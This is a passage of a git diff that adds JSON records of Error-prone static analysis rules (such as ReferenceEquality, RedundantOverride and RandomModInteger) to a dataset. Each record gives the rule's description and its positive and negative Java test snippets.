Proto extends com.google.protobuf.GeneratedMessage {\n public abstract int getId();\n\n public abstract String getMessage();\n }\n \n\n class Test {\n boolean g(Proto proto) {\n boolean r = false;\n r |= proto.getId() == 0;\n r |= proto.getMessage() == null;\n return r;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoTruthMixedDescriptors.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoTruthMixedDescriptors.json new file mode 100644 index 0000000..eaa8be3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoTruthMixedDescriptors.json @@ -0,0 +1,46 @@ +{ + "name": "ProtoTruthMixedDescriptors", + "language": "java", + "description": "The arguments passed to `ignoringFields` are inconsistent with the proto which is the subject of the assertion.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n void test() {\n assertThat(TestFieldProtoMessage.getDefaultInstance())\n // BUG: Diagnostic contains:\n .ignoringFields(TestProtoMessage.MESSAGE_FIELD_NUMBER);\n }\n }" + }, + { + "description": "positive_wrongType", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\nfinal class Test {\n void test() {\n assertThat(TestFieldProtoMessage.getDefaultInstance())\n // BUG: Diagnostic contains:\n .ignoringFields(\n TestProtoMessage.MULTI_FIELD_FIELD_NUMBER, TestProtoMessage.MESSAGE_FIELD_NUMBER);\n }\n}" + }, + { + "description": "positive_fluentChain", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n void test() {\n assertThat(TestFieldProtoMessage.getDefaultInstance())\n .ignoringFields(TestFieldProtoMessage.FIELD_FIELD_NUMBER)\n // BUG: Diagnostic contains:\n .ignoringFields(TestProtoMessage.MESSAGE_FIELD_NUMBER);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\nimport com.google.protobuf.Message;\n\nfinal class Test {\n void test() {\n assertThat(TestProtoMessage.getDefaultInstance())\n .ignoringFields(\n TestProtoMessage.MULTI_FIELD_FIELD_NUMBER, TestProtoMessage.MESSAGE_FIELD_NUMBER);\n assertThat((Message) TestFieldProtoMessage.getDefaultInstance())\n .ignoringFields(TestProtoMessage.MULTI_FIELD_FIELD_NUMBER);\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtocolBufferOrdinal.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtocolBufferOrdinal.json new file mode 100644 index 0000000..9e6809f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtocolBufferOrdinal.json @@ -0,0 +1,30 @@ +{ + "name": "ProtocolBufferOrdinal", + "language": "java", + "description": "To get the tag number of a protocol buffer enum, use getNumber() instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum;\n\n /** Positive test cases for {@link ProtocolBufferOrdinal} check. */\n public class ProtocolBufferOrdinalPositiveCases {\n\n public static void checkCallOnOrdinal() {\n // BUG: Diagnostic contains: ProtocolBufferOrdinal\n TestEnum.TEST_ENUM_VAL.ordinal();\n\n // BUG: Diagnostic contains: ProtocolBufferOrdinal\n ProtoLiteEnum.FOO.ordinal();\n }\n\n enum ProtoLiteEnum implements com.google.protobuf.Internal.EnumLite {\n FOO(1),\n BAR(2);\n private final int number;\n\n private ProtoLiteEnum(int number) {\n this.number = number;\n }\n\n @Override\n public int getNumber() {\n return number;\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum;\n\n /** Negative test cases for {@link ProtocolBufferOrdinal} check. */\n public class ProtocolBufferOrdinalNegativeCases {\n\n public static void checkProtoEnum() {\n TestEnum.TEST_ENUM_VAL.getNumber();\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PublicApiNamedStreamShouldReturnStream.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PublicApiNamedStreamShouldReturnStream.json new file mode 100644 index 0000000..fd176ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PublicApiNamedStreamShouldReturnStream.json @@ -0,0 +1,70 @@ +{ + "name": "PublicApiNamedStreamShouldReturnStream", + "language": "java", + "description": "Public methods named stream() are generally expected to return a type whose name ends with Stream. Consider choosing a different method name instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "abstractMethodPositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public abstract class Test {\n // BUG: Diagnostic contains: PublicApiNamedStreamShouldReturnStream\n public abstract int stream();\n }" + }, + { + "description": "regularMethodPositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "public class Test {\n // BUG: Diagnostic contains: PublicApiNamedStreamShouldReturnStream\n public String stream() {\n return \"hello\";\n }\n }" + }, + { + "description": "compliantNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import java.util.stream.Stream;\n\n public abstract class Test {\n public abstract Stream stream();\n }" + }, + { + "description": "differentNameNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "public class Test {\n public int differentMethodName() {\n return 0;\n }\n }" + }, + { + "description": "privateMethodNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "public class Test {\n private String stream() {\n return \"hello\";\n }\n }" + }, + { + "description": "returnTypeEndingWithStreamNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "public class Test {\n private static class TestStream {}\n\n public TestStream stream() {\n return new TestStream();\n }\n }" + }, + { + "description": "returnTypeNotEndingWithStreamPositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "public class Test {\n private static class TestStreamRandomSuffix {}\n\n // BUG: Diagnostic contains: PublicApiNamedStreamShouldReturnStream\n public TestStreamRandomSuffix stream() {\n return new TestStreamRandomSuffix();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RandomModInteger.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RandomModInteger.json new file mode 100644 index 0000000..8a01507 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RandomModInteger.json @@ -0,0 +1,30 @@ +{ + "name": "RandomModInteger", + "language": "java", + "description": "Use Random.nextInt(int). Random.nextInt() % n can have negative results", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Random;\n\n class Test {\n public static void main(String[] args) {\n Random r = new Random();\n // BUG: Diagnostic contains:\n System.err.println(r.nextInt() % 100);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import java.util.Random;\n\n class Test {\n public static void main(String[] args) {\n Random r = new Random();\n System.err.println(r.nextInt(100));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReachabilityFenceUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReachabilityFenceUsage.json new file mode 100644 index 0000000..216404b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReachabilityFenceUsage.json @@ -0,0 +1,38 @@ +{ + "name": "ReachabilityFenceUsage", + "language": "java", + "description": "reachabilityFence should always be called inside a finally block", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.lang.ref.Reference;\n\n class Test {\n public void run() {\n // BUG: Diagnostic contains:\n Reference.reachabilityFence(this);\n }\n }" + }, + { + "description": "positive_try", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.lang.ref.Reference;\n\n class Test {\n public void run() {\n try {\n // BUG: Diagnostic contains:\n Reference.reachabilityFence(this);\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import java.lang.ref.Reference;\n\n class Test {\n public void run() {\n try {\n } finally {\n Reference.reachabilityFence(this);\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantControlFlow.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantControlFlow.json new file mode 100644 index 0000000..1d2b247 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantControlFlow.json @@ -0,0 +1,70 @@ +{ + "name": "RedundantControlFlow", + "language": "java", + "description": "This continue statement is redundant and can be removed. It may be misleading.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 13, + "apis": 1, + "test": [ + { + "description": "onlyStatementInForLoop", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class Test {\n void test(Iterable xs) {\n for (String x : xs) {\n // BUG: Diagnostic contains:\n continue;\n }\n }\n }" + }, + { + "description": "onlyStatementInTerminalIf", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test {\n void test(Iterable xs) {\n for (String x : xs) {\n if (x.equals(\"foo\")) {\n // BUG: Diagnostic contains:\n continue;\n }\n }\n }\n }" + }, + { + "description": "onlyStatementInNestedIf", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Test {\n void test(Iterable xs) {\n for (String x : xs) {\n if (x.equals(\"foo\")) {\n if (x.equals(\"bar\")) {\n // BUG: Diagnostic contains:\n continue;\n }\n }\n }\n }\n }" + }, + { + "description": "onlyStatementInElse", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "class Test {\n void test(Iterable xs) {\n for (String x : xs) {\n if (x.equals(\"foo\")) {\n } else {\n // BUG: Diagnostic contains:\n continue;\n }\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "class Test {\n String test(Iterable xs) {\n for (String x : xs) {\n if (x.equals(\"foo\")) {\n continue;\n }\n return x;\n }\n return null;\n }\n }" + }, + { + "description": "labelledContinue_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "class Test {\n String test(Iterable xs) {\n outer:\n for (String x : xs) {\n for (int i = 0; i < x.length(); i++) {\n if (x.charAt(i) == 'a') {\n continue outer;\n }\n }\n }\n return null;\n }\n }" + }, + { + "description": "withinNestedIfs_statementsAfter", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "class Test {\n String test(Iterable xs) {\n for (String x : xs) {\n if (x.equals(\"foo\")) {\n if (x.equals(\"bar\")) {\n continue;\n }\n }\n return x;\n }\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantOverride.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantOverride.json new file mode 100644 index 0000000..112ef98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantOverride.json @@ -0,0 +1,118 @@ +{ + "name": "RedundantOverride", + "language": "java", + "description": "This overriding method is redundant, and can be removed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 146, + "branches": 17, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test extends foo.Bar {\n @Override\n // BUG: Diagnostic contains:\n public boolean frob(Object o) {\n return super.frob(o);\n }\n }\n \n\n package foo;\n\n public class Bar {\n public boolean frob(Object o) {\n return false;\n }\n }" + }, + { + "description": "addingJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "class Test extends foo.Bar {\n /** Adding javadoc. */\n @Override\n public boolean frob(Object o) {\n return super.frob(o);\n }\n }\n \n\n package foo;\n\n public class Bar {\n public boolean frob(Object o) {\n return false;\n }\n }" + }, + { + "description": "addingComments", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "class Test extends foo.Bar {\n @Override\n public boolean frob(Object o) {\n // TODO..\n return super.frob(o);\n }\n }\n \n\n package foo;\n\n public class Bar {\n public boolean frob(Object o) {\n return false;\n }\n }" + }, + { + "description": "considersParameterOrder", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "class A {\n public void swap(int a, int b) {}\n }\n \n\n class B extends A {\n @Override\n public void swap(int a, int b) {\n super.swap(b, a);\n }\n }" + }, + { + "description": "wideningVisibilityNoMatch", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "class A {\n void swap(int a, int b) {}\n }\n \n\n class B extends A {\n @Override\n public void swap(int a, int b) {\n super.swap(a, b);\n }\n }" + }, + { + "description": "addingAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "class A {\n Object swap(int a, int b) {\n return null;\n }\n }\n \n\n import javax.annotation.Nullable;\n\n class B extends A {\n @Nullable\n @Override\n public Object swap(int a, int b) {\n return super.swap(a, b);\n }\n }" + }, + { + "description": "sameAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import javax.annotation.Nullable;\n\n class A {\n @Nullable\n Object swap(int a, int b) {\n return null;\n }\n }\n \n\n import javax.annotation.Nullable;\n\n class B extends A {\n @Nullable\n @Override\n // BUG: Diagnostic contains:\n Object swap(int a, int b) {\n return super.swap(a, b);\n }\n }" + }, + { + "description": "removesAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import javax.annotation.Nullable;\n\n class A {\n @Nullable\n Object swap(int a, int b) {\n return null;\n }\n }\n \n\n import javax.annotation.Nullable;\n\n class B extends A {\n @Override\n Object swap(int a, int b) {\n return super.swap(a, b);\n }\n }" + }, + { + "description": "addsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 250 + ], + "code": "class A {\n Object swap(int a, int b) {\n return null;\n }\n }\n \n\n import javax.annotation.Nullable;\n\n class B extends A {\n @Nullable\n @Override\n Object swap(int a, int b) {\n return super.swap(a, b);\n }\n }" + }, + { + "description": "protectedOverrideInDifferentPackage", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "package foo;\n\n public class A {\n protected void swap() {}\n }\n \n\n package bar;\n\n public class B extends foo.A {\n @Override\n protected void swap() {\n super.swap();\n }\n }" + }, + { + "description": "protectedOverrideInSamePackage", + "expected-problems": null, + "expected-linenumbers": [ + 305 + ], + "code": "package foo;\n\n class A {\n protected void swap() {}\n }\n \n\n package foo;\n\n class B extends A {\n @Override\n // BUG: Diagnostic contains:\n protected void swap() {\n super.swap();\n }\n }" + }, + { + "description": "paramAnnotationAddedInOverride", + "expected-problems": null, + "expected-linenumbers": [ + 333 + ], + "code": "package foo;\n\n @interface DemoAnnotation {}\n \n\n package foo;\n\n class A {\n protected void swap(int a) {}\n }\n \n\n package foo;\n\n class B extends A {\n @Override\n protected void swap(@DemoAnnotation int a) {\n super.swap(a);\n }\n }" + }, + { + "description": "paramAnnotationOmittedInOverride", + "expected-problems": null, + "expected-linenumbers": [ + 367 + ], + "code": "package foo;\n\n @interface DemoAnnotation {}\n \n\n package foo;\n\n class A {\n protected void swap(@DemoAnnotation int a) {}\n }\n \n\n package foo;\n\n class B extends A {\n @Override\n protected void swap(int a) {\n super.swap(a);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantSetterCall.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantSetterCall.json new file mode 100644 index 0000000..49e8c5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantSetterCall.json @@ -0,0 +1,70 @@ +{ + "name": "RedundantSetterCall", + "language": "java", + "description": "A field was set twice in the same chained expression.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 326, + "branches": 25, + "apis": 7, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\nfinal class ProtoRedundantSetPositiveCases {\n private static final TestFieldProtoMessage foo = TestFieldProtoMessage.getDefaultInstance();\n private static final TestFieldProtoMessage bar = TestFieldProtoMessage.getDefaultInstance();\n\n private void singleField() {\n TestProtoMessage twice =\n TestProtoMessage.newBuilder()\n .setMessage(foo)\n .addMultiField(bar)\n // BUG: Diagnostic contains: setMessage\n .setMessage(foo)\n .addMultiField(bar)\n .build();\n TestProtoMessage nestedField =\n TestProtoMessage.newBuilder()\n .setMessage(\n // BUG: Diagnostic contains: setField\n TestFieldProtoMessage.newBuilder().setField(foo).setField(foo))\n .addMultiField(bar)\n .build();\n }\n\n private void repeatedField() {\n TestProtoMessage.Builder again =\n TestProtoMessage.newBuilder()\n .setMessage(foo)\n .setMessage(foo)\n // BUG: Diagnostic contains: setMessage\n .setMessage(foo)\n .setMultiField(0, bar)\n .setMultiField(1, foo)\n // BUG: Diagnostic contains: setMultiField\n .setMultiField(1, bar);\n }\n}" + }, + { + "description": "singleField", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class ProtoRedundantSetNegativeCases {\n private void singleField() {\n TestProtoMessage.Builder builder =\n TestProtoMessage.newBuilder()\n .setMessage(TestFieldProtoMessage.getDefaultInstance())\n .addMultiField(TestFieldProtoMessage.getDefaultInstance())\n .addMultiField(TestFieldProtoMessage.getDefaultInstance());\n }\n }" + }, + { + "description": "repeatedField", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class ProtoRedundantSetNegativeCases {\n private void repeatedField() {\n TestProtoMessage.Builder builder =\n TestProtoMessage.newBuilder()\n .setMessage(TestFieldProtoMessage.getDefaultInstance())\n .setMultiField(0, TestFieldProtoMessage.getDefaultInstance())\n .setMultiField(1, TestFieldProtoMessage.getDefaultInstance());\n }\n }" + }, + { + "description": "complexChaining", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class ProtoRedundantSetNegativeCases {\n private void intermediateBuild() {\n TestProtoMessage message =\n TestProtoMessage.newBuilder()\n .setMessage(TestFieldProtoMessage.getDefaultInstance())\n .build()\n .toBuilder()\n .setMessage(TestFieldProtoMessage.getDefaultInstance())\n .build();\n }\n }" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\nfinal class ProtoRedundantSetPositiveCases {\n private static final TestFieldProtoMessage foo = TestFieldProtoMessage.getDefaultInstance();\n private static final TestFieldProtoMessage bar = TestFieldProtoMessage.getDefaultInstance();\n\n private void singleField() {\n TestProtoMessage twice =\n TestProtoMessage.newBuilder()\n .setMessage(foo)\n .addMultiField(bar)\n .setMessage(foo)\n .addMultiField(bar)\n .build();\n }\n\n private void repeatedField() {\n TestProtoMessage.Builder again =\n TestProtoMessage.newBuilder()\n .setMessage(foo)\n .setMessage(foo)\n .setMessage(foo)\n .setMultiField(0, bar)\n .setMultiField(1, foo)\n .setMultiField(1, bar);\n }\n}\n\n\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\nfinal class ProtoRedundantSetPositiveCases {\n private static final TestFieldProtoMessage foo = TestFieldProtoMessage.getDefaultInstance();\n private static final TestFieldProtoMessage bar = TestFieldProtoMessage.getDefaultInstance();\n\n private void singleField() {\n TestProtoMessage twice =\n TestProtoMessage.newBuilder().addMultiField(bar).setMessage(foo).addMultiField(bar).build();\n }\n\n private void repeatedField() {\n TestProtoMessage.Builder again =\n TestProtoMessage.newBuilder()\n .setMessage(foo)\n .setMultiField(0, bar)\n .setMultiField(1, foo)\n .setMultiField(1, bar);\n }\n}" + }, + { + "description": "autovalue", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Animal {\n abstract String name();\n\n static Builder builder() {\n return null;\n }\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String name);\n\n public Builder nonAbstractMethod(String foo) {\n return null;\n }\n\n abstract Animal build();\n }\n }\n \n\n class Test {\n void test() {\n // BUG: Diagnostic contains:\n Animal.builder().setName(\"foo\").setName(\"bar\").build();\n Animal.builder().nonAbstractMethod(\"foo\").nonAbstractMethod(\"bar\").build();\n }\n }" + }, + { + "description": "builderOfWildcardType_noFindings", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "import com.google.protobuf.Descriptors.FieldDescriptor;\n import com.google.protobuf.GeneratedMessage.Builder;\n\n class Test {\n public void clear(final Builder builder, FieldDescriptor fieldDescriptor) {\n builder.clearField(fieldDescriptor);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantThrows.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantThrows.json new file mode 100644 index 0000000..35067d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantThrows.json @@ -0,0 +1,46 @@ +{ + "name": "RedundantThrows", + "language": "java", + "description": "Thrown exception is a subtype of another", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import java.io.IOException;\n import java.io.FileNotFoundException;\n import java.nio.file.AccessDeniedException;\n\n interface Test {\n // BUG: Diagnostic contains: FileNotFoundException is a subtype of IOException\n void f() throws FileNotFoundException, IOException;\n\n // BUG: Diagnostic contains: FileNotFoundException is a subtype of IOException\n void g() throws IOException, FileNotFoundException;\n }" + }, + { + "description": "positiveTwoSubtypes", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: IllegalAccessException and NoSuchFieldException are subtypes of\n // ReflectiveOperationException\n void f() throws IllegalAccessException, NoSuchFieldException, ReflectiveOperationException;\n}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "import java.io.*;\n\n interface Test {\n void f() throws NullPointerException, FileNotFoundException;\n }" + }, + { + "description": "transitiveSuper", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "import java.io.IOException;\n import java.io.FileNotFoundException;\n import java.nio.file.AccessDeniedException;\n\n interface Test {\n void f() throws FileNotFoundException, IOException, AccessDeniedException;\n }\n \n\n import java.io.IOException;\n import java.io.FileNotFoundException;\n import java.nio.file.AccessDeniedException;\n\n interface Test {\n void f() throws IOException;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReferenceEquality.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReferenceEquality.json new file mode 100644 index 0000000..1503669 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReferenceEquality.json @@ -0,0 +1,206 @@ +{ + "name": "ReferenceEquality", + "language": "java", + "description": "Comparison using reference equality instead of value equality", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 131, + "branches": 22, + "apis": 1, + "test": [ + { + "description": "protoGetter_nonnull", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Foo {\n void something(TestProtoMessage f1, TestProtoMessage f2) {\n // BUG: Diagnostic contains: boolean b = Objects.equals(f1, f2);\n boolean b = f1 == f2;\n // BUG: Diagnostic contains: b = f1.getMessage().equals(f2.getMessage())\n b = f1.getMessage() == f2.getMessage();\n }\n }" + }, + { + "description": "negative_const", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Foo {}\n \n\n import com.google.common.base.Optional;\n\n class Test {\n public static final Foo CONST = new Foo();\n\n boolean f(Foo a) {\n return a == CONST;\n }\n\n boolean f(Object o, Foo a) {\n return o == a;\n }\n }" + }, + { + "description": "negative_extends_equalsObject", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Sup {\n public boolean equals(Object o) {\n return false;\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test extends Sup {\n boolean f(Object a, Test b) {\n return a == b;\n }\n }" + }, + { + "description": "positive_extendsAbstract_equals", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "abstract class Sup {\n public abstract boolean equals(Object o);\n }\n \n\n import com.google.common.base.Optional;\n\n abstract class Test extends Sup {\n boolean f(Test a, Test b) {\n // BUG: Diagnostic contains: a.equals(b)\n return a == b;\n }\n }" + }, + { + "description": "negative_implementsInterface_equals", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "interface Sup {\n public boolean equals(Object o);\n }\n \n\n import com.google.common.base.Optional;\n\n class Test implements Sup {\n boolean f(Test a, Test b) {\n return a == b;\n }\n }" + }, + { + "description": "negative_noEquals", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Test a, Test b) {\n return a == b;\n }\n }" + }, + { + "description": "positive_equal", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a, Optional b) {\n // BUG: Diagnostic contains: a.equals(b)\n return a == b;\n }\n }" + }, + { + "description": "positive_equalWithOr", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a, Optional b) {\n return a == b || (a.equals(b));\n }\n }\n \n\n import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a, Optional b) {\n return a.equals(b);\n }\n }" + }, + { + "description": "positive_equalWithOr_objectsEquals", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import com.google.common.base.Optional;\n import com.google.common.base.Objects;\n\n class Test {\n boolean f(Optional a, Optional b) {\n boolean eq = a == b || Objects.equal(a, b);\n return a == b || (java.util.Objects.equals(a, b));\n }\n }\n \n\n import com.google.common.base.Optional;\n import com.google.common.base.Objects;\n\n class Test {\n boolean f(Optional a, Optional b) {\n boolean eq = Objects.equal(a, b);\n return java.util.Objects.equals(a, b);\n }\n }" + }, + { + "description": "positive_notEqual", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "import com.google.common.base.Optional;\n\n class Test {\n boolean f(Optional a, Optional b) {\n // BUG: Diagnostic contains: !a.equals(b)\n return a != b;\n }\n }" + }, + { + "description": "negative_impl", + "expected-problems": null, + "expected-linenumbers": [ + 270 + ], + "code": "class Test {\n public boolean equals(Object o) {\n return this == o;\n }\n }" + }, + { + "description": "negative_enum", + "expected-problems": null, + "expected-linenumbers": [ + 285 + ], + "code": "import javax.lang.model.element.ElementKind;\n\n class Test {\n boolean f(ElementKind a, ElementKind b) {\n return a == b;\n }\n }" + }, + { + "description": "customEnum", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + 